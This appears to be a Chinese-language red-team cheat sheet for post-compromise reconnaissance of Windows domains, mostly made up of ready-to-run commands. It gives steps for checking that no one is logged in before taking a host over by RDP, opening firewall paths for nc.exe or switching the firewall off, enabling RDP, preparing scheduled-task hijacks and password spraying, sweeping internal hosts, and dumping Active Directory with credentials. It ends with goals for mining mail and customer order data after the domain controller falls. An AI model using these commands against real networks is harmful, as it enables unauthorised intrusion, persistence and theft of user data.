1. 从单一主机进行的环境探测

(1)查看一下主机的开机时间

因为我们首先要确定这个主机是否适合做权限维持,是每天关机开机的机器还是始终开机不关的机器我们需要采取不同的应对措施

net statistics workstation

(2)判断环境是工作组还是域

ipconfig /all
systeminfo
net config workstation

(3)查看机器有哪些账户,有没有黑客/红队来过留下的后门账户($账户显示不出来)

net user

(4)查看当前的在线账户

这个要查,在任何一次想要借助 3389 RDP 上线一个机器前都要确保这个机子没有在线!!!

query user || qwinsta

(5)查端口

主要是看看有没有链接,注意一下其他特殊的服务,如 3306、1433 为我们的提权做准备

netstat -ano

(6)检查双网卡

当前主机是否为双网卡,若不是,考虑在当前网段横向,若是,可以梳理目标搭 socks 打深一层内网

ipconfig /all

(7)查 arp 缓存找到其他主机

arp -a   //这里就定位到了 DC

(8)查看操作系统版本和系统架构(shell 进行)

方便我们确定后面玩什么脚本、工具

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
echo %PROCESSOR_ARCHITECTURE% 

(9)查看补丁 —— 提前准备 exp

systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn 

(10)服务、进程、杀软 —— 对抗的准备工作

wmic service list brief
tasklist /v
tasklist /svc

(11)查自启动 + 计划任务 —— 劫持

wmic startup get command,caption
schtasks /query /fo LIST /v > schtasks.txt   //内容较多

方便我们做一个自启动劫持,以及明确了机器在某个时间运行哪些软件,做计划任务劫持

(12)防火墙相关 —— 动静较大,不必要可不操作

查询

netsh firewall show config

修改防火墙配置

// win 2003及之前的版本,运⾏指定程序全部连接:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable 
// win 2003之后的版本⽤这条:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
// 允许指定程序连出,命令如下
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
// 允许 3389 端⼝放⾏,命令如下
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

关闭

// 2003及之前的版本⽤这条命令:
netsh firewall set opmode disable 
// win 2003之后的版本⽤这条命令:
netsh advfirewall set allprofiles state off 

(13)RDP 相关

查询开启状态——如图 0xd3d 即为开启

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 

开启 3389

// 在 Windows Server 2003 中开启 3389 端⼝
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections1 
// 在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端⼝
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1 
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 
// 在 Windows 7 中开启 3389 端⼝
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 

2. 有域的情况下对域的信息搜集

(1)查询是否有多域

net view /domain

(2)获取域 sid

whoami /user

(3)查询域用户

net user /domain
net user emotionswalker /domain

(4)查询域管

net group "domain admins" /domain

(5)查询域密码规则 —— 为喷洒做准备

net accounts /domain

(6)查询域内时间

每次要打计划任务都查询一波,时间非常重要

net time /domain

而且这个命令可以起到判断域和定位域控的作用,也是我最喜欢的一个:

(7)查询主域控

netdom query pdc

(8)查询所有域控

net group "Domain Controllers" /domain

这个有时会遇问题,查不了只爆出域名

问题不大直接ping一下域名得到域控IP

定位域控IP,有时候ping域名ping不出来,直接ipconfig /all找到DNS服务器的IP即为域控IP

(9)查看域内所有组,定位高价资产

net group /domain

(10)查看域信任 打跨域

nltest /domain_trusts

3. 系统原生内网存活探测

白天探测一次、晚上探测一次,这样能让我们了解在哪个时间段对哪些主机进行内网渗透

Windows - Powershell

1..20 | % { 
    $a = $_ 
    write-host "------"
    write-host "10.0.0.$a"
    80, 445, 139, 389 | % {
        try {
            $tcpClient = New-Object Net.Sockets.TcpClient
            $tcpClient.Connect("10.0.0.$a", $_)
            if ($tcpClient.Connected) {
                write-host "Port $_ is open!"
                $tcpClient.Close()
            }
        } catch {
            # 忽略错误
        }
    }
}

Linux - Ping

for i in {1..254}; do if ping -c 1 -w 1 10.0.0.$i &>/dev/null; then echo "10.0.0.$i is alive"; fi; done

Linux - bash 脚本

for ip in 10.0.0.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive!
fi
done

SPN 探测内网主机名

因为只有IP的话,难以真正定位高价值资产,通过IP我们没办法判断哪台机器是做什么的

setspn -Q */* | findstr "CN=" > C:\Windows\temp\host.txt
for /f "delims=" %i in (C:\windows\temp\hosts.txt) do @ping -w 1-n 1 %i | findstr /c:" [1" >> C:\windows\temp\alive.txt

3. 获取 AD 信息(拿到域用户账号密码后)

前提是我们能够访问域控的389端口(也就是拥有一个有效域用户)

csvde 获取活动目录信息

// 导出当前域内所有信息
csvde -f all.csv
// 从域外导(需要一个域用户账密)
csvde -s 10.10.10.8 -a redteam\emotionswalker Pa55w0rd -f all.csv

// 导出当前域内所有用户、机器、组信息
csvde -f user.csv -r "(&(objectCategory=person))"
csvde -f machine.csv -r "(&(objectCategory=computer))"
csvde -f group.csv -r "(&(objectCategory=group))"

// 导出当前域内所有管理员组的用户信息
csvde -f admin.csv -r "(&(objectCategory=group)(name=Domain Admins))"

// 导出域内所有计算机名、用户名
csvde -f machinename.csv -r "(&(objectCategory=computer))" -l name
csvde -f username.csv -r "(&(objectCategory=person))" -l SamAccountName

ADFind 获取活动目录信息

// 导出域内所有信息
adfind.exe -h 10.10.10.8 > all.txt
// 从域外导
adfind.exe -h 10.10.10.8 -u redteam\emotionswalker -up Pa55w0rd > all.txt

// 导出域内所有用户、机器、组信息
adfind.exe -h 10.0.0.8 -f objectcategory=person > user.txt
adfind.exe -h 10.0.0.8 -f objectcategory=computer > machine.txt
adfind.exe -h 10.0.0.8 -f objectcategory=group > group.txt

// 导出域内所有管理员组信息
adfind.exe -h 10.0.0.8 -f "(&(objectCategory=group)(name=Domain Admins))" > admin.txt

// 导出域内所有域用户名、计算机名
adfind.exe -h 10.0.0.8 -f objectcategory=person SamAccountName > username.txt
adfind.exe -h 10.0.0.8 -f objectcategory=computer name > machinename.txt

Linux 上对 AD 信息的收集

当我们拿到一台域内 Linux 的跳板机,或是我们通过隧道在操作

// 获取域内所有用户列表
curl -u 'redteam\emotionswalker':'Admin12345' "ldap://10.10.10.8:389/dc=redteam,dc=com?*?sub(objectcategory=person)" >> all.txt
// 获取域内所有组+所有组成员列表
curl -u 'redteam\emotionswalker':'Admin12345' "ldap://10.10.10.8:389/dc=redteam,dc=com?*?sub?(objectcategory=group)" >> all.txt

定位 Exchange 服务器、Mssql 服务器

curl -u 'redteam\emotionwalker':'Admin12345' "ldap://10.10.10.8:389/dc=redteam,dc=com?*?sub?(&(objectCategory=computer)(servicePrincipalName=exchangeMDB*))"
curl -u 'redteam\emotionswalker':'Admin12345' "ldap://10.10.10.8:389/dc=redteam,dc=com?*?sub?(servicePrincipalName=MSSQLSvc*)"

4. 后信息收集:拿下域控之后的 APT

(1)我们需要翻文件,翻邮件,搞清楚内网架构体系和运营状态

(2)不断获取我们需要的东西以及有价值的东西

(3)比如我们对某些购物网站进行APT,拿下域控之后,如何找到用户购买的订单数据的这个数据库在哪里呢?当然这些东西,出现在邮件的概率是最大的,所以邮件是非常重要的手段(便捷、隐蔽)